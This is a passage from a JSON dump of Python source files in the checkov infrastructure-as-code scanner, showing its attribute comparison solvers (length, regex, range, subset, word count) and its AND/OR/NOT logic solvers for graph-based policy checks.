    "content": "from typing import Optional, Any, Dict\nfrom collections.abc import Sized\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass LengthEqualsAttributeSolver(BaseAttributeSolver):\n    operator = Operators.LENGTH_EQUALS  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        if vertex.get(attribute) is None:  # type:ignore[arg-type]  # due to attribute can be None\n            return False\n\n        attr = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n        if isinstance(attr, Sized):\n            # this resolver assumes the attribute is a string or a list.\n            # if a dict is received, default the length to 1.\n            if isinstance(attr, dict):\n                return 1 == force_int(self.value)\n            return len(attr) == force_int(self.value)\n\n        return False\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/length_greater_than_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\nfrom collections.abc import Sized\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass LengthGreaterThanAttributeSolver(BaseAttributeSolver):\n    operator = Operators.LENGTH_GREATER_THAN  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        attr = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n        if attr is None:\n            return False\n\n        value_int = force_int(self.value)\n\n        if value_int is None:\n            return False\n        if isinstance(attr, Sized):\n            # this resolver assumes the attribute is a string or a list.\n            # if a dict is received, default the length to 1.\n            if isinstance(attr, dict):\n                return 1 > value_int\n            return len(attr) > value_int\n\n        return False\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/length_greater_than_or_equal_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\nfrom collections.abc import Sized\nfrom checkov.common.util.type_forcers import force_int\nfrom .length_less_than_attribute_solver import LengthLessThanAttributeSolver\nfrom checkov.common.graph.checks_infra.enums import Operators\n\n\nclass LengthGreaterThanOrEqualAttributeSolver(LengthLessThanAttributeSolver):\n    operator = Operators.LENGTH_GREATER_THAN_OR_EQUAL  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        attr = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n        if attr is None:\n            return False\n\n        value_int = force_int(self.value)\n\n        if value_int is None:\n            return False\n        if isinstance(attr, Sized):\n            # this resolver assumes the attribute is a string or a list.\n            # if a dict is received, default the length to 1.\n            if isinstance(attr, dict):\n                return 1 >= value_int\n            return len(attr) >= value_int\n\n        return False\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/length_less_than_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\nfrom collections.abc import Sized\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass LengthLessThanAttributeSolver(BaseAttributeSolver):\n    operator = Operators.LENGTH_LESS_THAN  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        attr = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n        if attr is None:\n            return False\n\n        value_int = force_int(self.value)\n\n        if value_int is None:\n            return False\n        if isinstance(attr, Sized):\n            # this resolver assumes the attribute is a string or a list.\n            # if a dict is received, default the length to 1.\n            if isinstance(attr, dict):\n                return 1 < value_int\n            return len(attr) < value_int\n\n        return False\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/length_less_than_or_equal_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\nfrom collections.abc import Sized\nfrom checkov.common.util.type_forcers import force_int\nfrom .length_greater_than_attribute_solver import LengthGreaterThanAttributeSolver\nfrom checkov.common.graph.checks_infra.enums import Operators\n\n\nclass LengthLessThanOrEqualAttributeSolver(LengthGreaterThanAttributeSolver):\n    operator = Operators.LENGTH_LESS_THAN_OR_EQUAL  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        attr = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n        if attr is None:\n            return False\n\n        value_int = force_int(self.value)\n\n        if value_int is None:\n            return False\n        if isinstance(attr, Sized):\n            # this resolver assumes the attribute is a string or a list.\n            # if a dict is received, default the length to 1.\n            if isinstance(attr, dict):\n                return 1 <= value_int\n            return len(attr) <= value_int\n\n        return False\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/length_not_equals_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom .length_equals_attribute_solver import LengthEqualsAttributeSolver\nfrom checkov.common.graph.checks_infra.enums import Operators\n\n\nclass LengthNotEqualsAttributeSolver(LengthEqualsAttributeSolver):\n    operator = Operators.LENGTH_NOT_EQUALS  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        return not super()._get_operation(vertex, attribute)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/less_than_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom .greater_than_or_equal_attribute_solver import GreaterThanOrEqualAttributeSolver\n\n\nclass LessThanAttributeSolver(GreaterThanOrEqualAttributeSolver):\n    operator = Operators.LESS_THAN  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        if vertex.get(attribute) is None:  # type:ignore[arg-type]  # due to attribute can be None\n            return False\n\n        return not super()._get_operation(vertex, attribute)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/less_than_or_equal_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom .greater_than_attribute_solver import GreaterThanAttributeSolver\n\n\nclass LessThanOrEqualAttributeSolver(GreaterThanAttributeSolver):\n    operator = Operators.LESS_THAN_OR_EQUAL  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        if vertex.get(attribute) is None:  # type:ignore[arg-type]  # due to attribute can be None\n            return False\n\n        return not super()._get_operation(vertex, attribute)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/not_contains_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom .contains_attribute_solver import ContainsAttributeSolver\n\n\nclass NotContainsAttributeSolver(ContainsAttributeSolver):\n    operator = Operators.NOT_CONTAINS  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        return not super()._get_operation(vertex, attribute)\n\n    def should_check_all_condition(self) -> bool:\n        return True\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/not_ending_with_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom .ending_with_attribute_solver import EndingWithAttributeSolver\n\n\nclass NotEndingWithAttributeSolver(EndingWithAttributeSolver):\n    operator = Operators.NOT_ENDING_WITH  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        return not super()._get_operation(vertex, attribute)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/not_equals_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom .equals_attribute_solver import EqualsAttributeSolver\n\n\nclass NotEqualsAttributeSolver(EqualsAttributeSolver):\n    operator = Operators.NOT_EQUALS  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        return not super()._get_operation(vertex, attribute)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/not_equals_ignore_case_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom .equals_ignore_case_attribute_solver import EqualsIgnoreCaseAttributeSolver\n\n\nclass NotEqualsIgnoreCaseAttributeSolver(EqualsIgnoreCaseAttributeSolver):\n    operator = Operators.NOT_EQUALS_IGNORE_CASE  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        return not super()._get_operation(vertex, attribute)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/not_exists_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom .exists_attribute_solver import ExistsAttributeSolver\n\n\nclass NotExistsAttributeSolver(ExistsAttributeSolver):\n    operator = Operators.NOT_EXISTS  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        return not super()._get_operation(vertex, attribute)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/not_intersects_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom .intersects_attribute_solver import IntersectsAttributeSolver\n\n\nclass NotIntersectsAttributeSolver(IntersectsAttributeSolver):\n    operator = Operators.NOT_INTERSECTS  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        return not super()._get_operation(vertex, attribute)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/not_regex_match_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom .regex_match_attribute_solver import RegexMatchAttributeSolver\n\n\nclass NotRegexMatchAttributeSolver(RegexMatchAttributeSolver):\n    operator = Operators.NOT_REGEX_MATCH  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        return not super()._get_operation(vertex, attribute)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/not_starting_with_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom .starting_with_attribute_solver import StartingWithAttributeSolver\n\n\nclass NotStartingWithAttributeSolver(StartingWithAttributeSolver):\n    operator = Operators.NOT_STARTING_WITH  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        return not super()._get_operation(vertex, attribute)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/not_subset_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.checks_infra.solvers.attribute_solvers.subset_attribute_solver import SubsetAttributeSolver\nfrom checkov.common.graph.checks_infra.enums import Operators\n\n\nclass NotSubsetAttributeSolver(SubsetAttributeSolver):\n    operator = Operators.NOT_SUBSET  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        return not super()._get_operation(vertex, attribute)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/not_within_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom .within_attribute_solver import WithinAttributeSolver\n\n\nclass NotWithinAttributeSolver(WithinAttributeSolver):\n    operator = Operators.NOT_WITHIN  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        return not super()._get_operation(vertex, attribute)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/number_of_words_equals_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_number_of_words_attribute_solver import \\\n    BaseNumberOfWordsAttributeSolver  # checkov:skip=CKV_SECRET_256\nfrom checkov.common.graph.checks_infra.enums import Operators\n\n\nclass NumberOfWordsEqualsAttributeSolver(BaseNumberOfWordsAttributeSolver):\n    operator = Operators.NUMBER_OF_WORDS_EQUALS  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        attr = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n\n        if not self._validate_vertex_value(attr):\n            return False\n\n        num_of_words = self._get_number_of_words(attr)\n        value_numeric = self._numerize_value()\n\n        return num_of_words == value_numeric\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/number_of_words_greater_than_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_number_of_words_attribute_solver import \\\n    BaseNumberOfWordsAttributeSolver  # checkov:skip=CKV_SECRET_256\nfrom checkov.common.graph.checks_infra.enums import Operators\n\n\nclass NumberOfWordsGreaterThanAttributeSolver(BaseNumberOfWordsAttributeSolver):\n    operator = Operators.NUMBER_OF_WORDS_GREATER_THAN  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        attr = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n\n        if not self._validate_vertex_value(attr):\n            return False\n\n        num_of_words = self._get_number_of_words(attr)\n        value_numeric = self._numerize_value()\n\n        if value_numeric is None:\n            return False\n\n        return num_of_words > value_numeric\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/number_of_words_greater_than_or_equal_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_number_of_words_attribute_solver import \\\n    BaseNumberOfWordsAttributeSolver  # checkov:skip=CKV_SECRET_256\nfrom checkov.common.graph.checks_infra.enums import Operators\n\n\nclass NumberOfWordsGreaterThanOrEqualAttributeSolver(BaseNumberOfWordsAttributeSolver):\n    operator = Operators.NUMBER_OF_WORDS_GREATER_THAN_OR_EQUAL  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        attr = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n\n        if not self._validate_vertex_value(attr):\n            return False\n\n        num_of_words = self._get_number_of_words(attr)\n        value_numeric = self._numerize_value()\n\n        if value_numeric is None:\n            return False\n\n        return num_of_words >= value_numeric\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/number_of_words_less_than_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_number_of_words_attribute_solver import \\\n    BaseNumberOfWordsAttributeSolver  # checkov:skip=CKV_SECRET_256\nfrom checkov.common.graph.checks_infra.enums import Operators\n\n\nclass NumberOfWordsLessThanAttributeSolver(BaseNumberOfWordsAttributeSolver):\n    operator = Operators.NUMBER_OF_WORDS_LESS_THAN  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        attr = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n\n        if not self._validate_vertex_value(attr):\n            return False\n\n        num_of_words = self._get_number_of_words(attr)\n        value_numeric = self._numerize_value()\n\n        if value_numeric is None:\n            return False\n\n        return num_of_words < value_numeric\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/number_of_words_less_than_or_equal_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_number_of_words_attribute_solver import \\\n    BaseNumberOfWordsAttributeSolver\nfrom checkov.common.graph.checks_infra.enums import Operators\n\n\nclass NumberOfWordsLessThanOrEqualAttributeSolver(BaseNumberOfWordsAttributeSolver):\n    operator = Operators.NUMBER_OF_WORDS_LESS_THAN_OR_EQUAL  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        attr = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n\n        if not self._validate_vertex_value(attr):\n            return False\n\n        num_of_words = self._get_number_of_words(attr)\n        value_numeric = self._numerize_value()\n\n        if value_numeric is None:\n            return False\n\n        return num_of_words <= value_numeric\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/number_of_words_not_equals_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.attribute_solvers.number_of_words_equals_attribute_solver import NumberOfWordsEqualsAttributeSolver\n\n\nclass NumberOfWordsNotEqualsAttributeSolver(NumberOfWordsEqualsAttributeSolver):\n    operator = Operators.NUMBER_OF_WORDS_NOT_EQUALS  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        return not super()._get_operation(vertex, attribute)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/range_includes_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict, List, Union\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.util.type_forcers import force_int\n\n\nclass RangeIncludesAttributeSolver(BaseAttributeSolver):\n    operator = Operators.RANGE_INCLUDES  # noqa: CCE003  # a static attribute\n\n    def __init__(\n            self, resource_types: List[str], attribute: Optional[str], value: Union[Any, List[Any]],\n            is_jsonpath_check: bool = False\n    ) -> None:\n        super().__init__(resource_types, attribute, value, is_jsonpath_check)\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        attr = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n\n        if attr is None:\n            return False\n\n        processed_value = self._handle_range_values(self.value)\n\n        if isinstance(attr, list):\n            return any(self._check_value(value, attr_val) for attr_val in attr for value in processed_value)\n\n        return any(self._check_value(value, attr) for value in processed_value)\n\n    def _handle_range_values(self, value: Union[Any, List[Any]]) -> List[Any]:\n        # Convert value to a list if it's not already one to unify handling\n        value_list = value if isinstance(value, list) else [value]\n\n        # Process each item in the value list\n        processed_value: List[Any] = []\n        for v in value_list:\n            if isinstance(v, str) and '-' in v:\n                # Handle range strings\n                start_str, end_str = v.split('-')\n                start = force_int(start_str)\n                end = force_int(end_str)\n                if start is not None and end is not None:\n                    processed_value.extend(range(start, end + 1))\n            else:\n                # Handle single values\n                processed_value.append(force_int(v) if isinstance(v, (str, int)) else v)\n\n        return processed_value\n\n    def _check_value(self, value: Any, attr: Any) -> bool:\n        # expects one of the following values:\n        # - an actual int\n        # - a string that parses to an int\n        # - *\n        # - a string range like '1000-2000'\n\n        if attr == '*':\n            return True\n\n        if isinstance(attr, str) and attr.count(\"-\") == 1:\n            return self._check_range(value, attr)\n\n        return bool(force_int(attr) == value)\n\n    @staticmethod\n    def _check_range(value: Any, range_str: str) -> bool:\n        try:\n            start, end = range_str.split(\"-\")\n            return bool(force_int(start) <= value <= force_int(end))\n        except (TypeError, ValueError):\n            # Occurs if there are not two entries or if one is not an int, in which case we just give up\n            return False\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/range_not_includes_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\nfrom checkov.common.checks_infra.solvers.attribute_solvers.range_includes_attribute_solver import RangeIncludesAttributeSolver\nfrom checkov.common.graph.checks_infra.enums import Operators\n\n\nclass RangeNotIncludesAttributeSolver(RangeIncludesAttributeSolver):\n    operator = Operators.RANGE_NOT_INCLUDES  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        return not super()._get_operation(vertex, attribute)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/regex_match_attribute_solver.py",
    "content": "import logging\nimport re\nfrom typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\n\n\nclass RegexMatchAttributeSolver(BaseAttributeSolver):\n    operator = Operators.REGEX_MATCH  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        attr = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n        try:\n            return re.match(str(self.value), str(attr)) is not None\n        except re.error as e:\n            logging.warning(f'failed to run regex {self.value} for attribute: {attr}, {str(e)}')\n            return False\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/starting_with_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\n\n\nclass StartingWithAttributeSolver(BaseAttributeSolver):\n    operator = Operators.STARTING_WITH  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        attr = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n        return isinstance(attr, str) and attr.startswith(self.value)\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/subset_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict, Set\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\n\n\nclass SubsetAttributeSolver(BaseAttributeSolver):\n    operator = Operators.SUBSET  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        attr_val = SubsetAttributeSolver.to_set(vertex.get(attribute))  # type:ignore[arg-type]  # due to attribute can be None\n        return attr_val.issubset(self.value)\n\n    @staticmethod\n    def to_set(value: Any) -> Set[Any]:\n        if isinstance(value, set):\n            return value\n        elif isinstance(value, (list, dict)):\n            return set(value)\n        else:\n            return {value}\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/attribute_solvers/within_attribute_solver.py",
    "content": "from typing import Optional, Any, Dict\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.checks_infra.solvers.attribute_solvers.base_attribute_solver import BaseAttributeSolver\n\n\nclass WithinAttributeSolver(BaseAttributeSolver):\n    operator = Operators.WITHIN  # noqa: CCE003  # a static attribute\n\n    def _get_operation(self, vertex: Dict[str, Any], attribute: Optional[str]) -> bool:\n        attr = vertex.get(attribute)  # type:ignore[arg-type]  # due to attribute can be None\n        return attr in self.value\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/complex_solvers/__init__.py",
    "content": "from checkov.common.checks_infra.solvers.complex_solvers.or_solver import OrSolver  # noqa\nfrom checkov.common.checks_infra.solvers.complex_solvers.and_solver import AndSolver  # noqa\nfrom checkov.common.checks_infra.solvers.complex_solvers.not_solver import NotSolver  # noqa\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/complex_solvers/and_solver.py",
    "content": "from typing import List, Any, Dict, Optional\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver\nfrom checkov.common.checks_infra.solvers.complex_solvers.base_complex_solver import BaseComplexSolver\nfrom functools import reduce\nfrom operator import and_\n\n\nclass AndSolver(BaseComplexSolver):\n    operator = Operators.AND  # noqa: CCE003  # a static attribute\n\n    def __init__(self, solvers: List[BaseSolver], resource_types: List[str]) -> None:\n        super().__init__(solvers, resource_types)\n\n    def _get_operation(self, *args: Any, **kwargs: Any) -> Any:\n        return reduce(and_, args)\n\n    def get_operation(self, vertex: Dict[str, Any]) -> Optional[bool]:\n        has_unrendered_attribute = False\n        for solver in self.solvers:\n            operation = solver.get_operation(vertex)\n            if operation is None:\n                has_unrendered_attribute = True\n            elif not operation:\n                return False\n        return None if has_unrendered_attribute else True\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/complex_solvers/base_complex_solver.py",
    "content": "from __future__ import annotations\n\nfrom abc import abstractmethod\nfrom typing import List, Any, Tuple, Dict, TYPE_CHECKING, Optional\n\nfrom networkx import DiGraph\n\nfrom checkov.common.graph.checks_infra.enums import SolverType\nfrom checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver\n\nif TYPE_CHECKING:\n    from checkov.common.typing import LibraryGraph\n\n\nclass BaseComplexSolver(BaseSolver):\n    operator = \"\"  # noqa: CCE003  # a static attribute\n\n    def __init__(self, solvers: List[BaseSolver], resource_types: List[str]) -> None:\n        if solvers is None:\n            solvers = []\n        self.solvers = solvers\n        self.resource_types = resource_types\n        super().__init__(SolverType.COMPLEX)\n\n    def _get_operation(self, *args: Any, **kwargs: Any) -> Any:\n        raise NotImplementedError()\n\n    def _get_negative_op(self, *args: Any) -> Any:\n        return not self._get_operation(args)\n\n    @abstractmethod\n    def get_operation(self, vertex: Dict[str, Any]) -> Optional[bool]:\n        raise NotImplementedError()\n\n    def run(self, graph_connector: LibraryGraph) -> Tuple[List[Dict[str, Any]], List[Dict[str, Any]], List[Dict[str, Any]]]:\n        passed_vertices = []\n        failed_vertices = []\n        unknown_vertices = []\n\n        if isinstance(graph_connector, DiGraph):\n            for _, data in graph_connector.nodes(data=True):\n                if self.resource_type_pred(data, self.resource_types):\n                    result = self.get_operation(data)\n                    if result is None:\n                        unknown_vertices.append(data)\n                    elif result:\n                        passed_vertices.append(data)\n                    else:\n                        failed_vertices.append(data)\n            return passed_vertices, failed_vertices, unknown_vertices\n\n        # isinstance(graph_connector, PyDiGraph):\n        for _, data in graph_connector.nodes():\n            if self.resource_type_pred(data, self.resource_types):\n                result = self.get_operation(data)\n                if result is None:\n                    unknown_vertices.append(data)\n                elif result:\n                    passed_vertices.append(data)\n                else:\n                    failed_vertices.append(data)\n        return passed_vertices, failed_vertices, unknown_vertices\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/complex_solvers/not_solver.py",
    "content": "from typing import List, Any, Dict, Optional\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver\nfrom checkov.common.checks_infra.solvers.complex_solvers.base_complex_solver import BaseComplexSolver\n\n\nclass NotSolver(BaseComplexSolver):\n    operator = Operators.NOT  # noqa: CCE003  # a static attribute\n\n    def __init__(self, solvers: List[BaseSolver], resource_types: List[str]) -> None:\n        if len(solvers) != 1:\n            raise Exception('The \"not\" operator must have exactly one child')\n        super().__init__(solvers, resource_types)\n\n    def _get_operation(self, *args: Any, **kwargs: Any) -> Any:\n        if len(args) != 1:\n            raise Exception('The \"not\" operator must have exactly one child')\n        return not args[0]\n\n    def get_operation(self, vertex: Dict[str, Any]) -> Optional[bool]:\n        result = self.solvers[0].get_operation(vertex)\n        return None if result is None else not result\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/complex_solvers/or_solver.py",
    "content": "from typing import List, Any, Dict, Optional\n\nfrom checkov.common.graph.checks_infra.enums import Operators\nfrom checkov.common.graph.checks_infra.solvers.base_solver import BaseSolver\nfrom checkov.common.checks_infra.solvers.complex_solvers.base_complex_solver import BaseComplexSolver\nfrom functools import reduce\nfrom operator import or_\n\n\nclass OrSolver(BaseComplexSolver):\n    operator = Operators.OR  # noqa: CCE003  # a static attribute\n\n    def __init__(self, solvers: List[BaseSolver], resource_types: List[str]) -> None:\n        super().__init__(solvers, resource_types)\n\n    def _get_operation(self, *args: Any, **kwargs: Any) -> Any:\n        return reduce(or_, args)\n\n    def get_operation(self, vertex: Dict[str, Any]) -> Optional[bool]:\n        has_unrendered_attribute = False\n        for solver in self.solvers:\n            operation = solver.get_operation(vertex)\n            if operation:\n                return True\n            if operation is None:\n                has_unrendered_attribute = True\n        return None if has_unrendered_attribute else False\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/connections_solvers/__init__.py",
    "content": "from checkov.common.checks_infra.solvers.connections_solvers.and_connection_solver import AndConnectionSolver  # noqa\nfrom checkov.common.checks_infra.solvers.connections_solvers.complex_connection_solver import ComplexConnectionSolver  # noqa\nfrom checkov.common.checks_infra.solvers.connections_solvers.connection_exists_solver import ConnectionExistsSolver  # noqa\nfrom checkov.common.checks_infra.solvers.connections_solvers.connection_not_exists_solver import ConnectionNotExistsSolver  # noqa\nfrom checkov.common.checks_infra.solvers.connections_solvers.or_connection_solver import OrConnectionSolver  # noqa\n"
  },
  {
    "path": "checkov/common/checks_infra/solvers/connections_solvers/and_connection_solver.py",
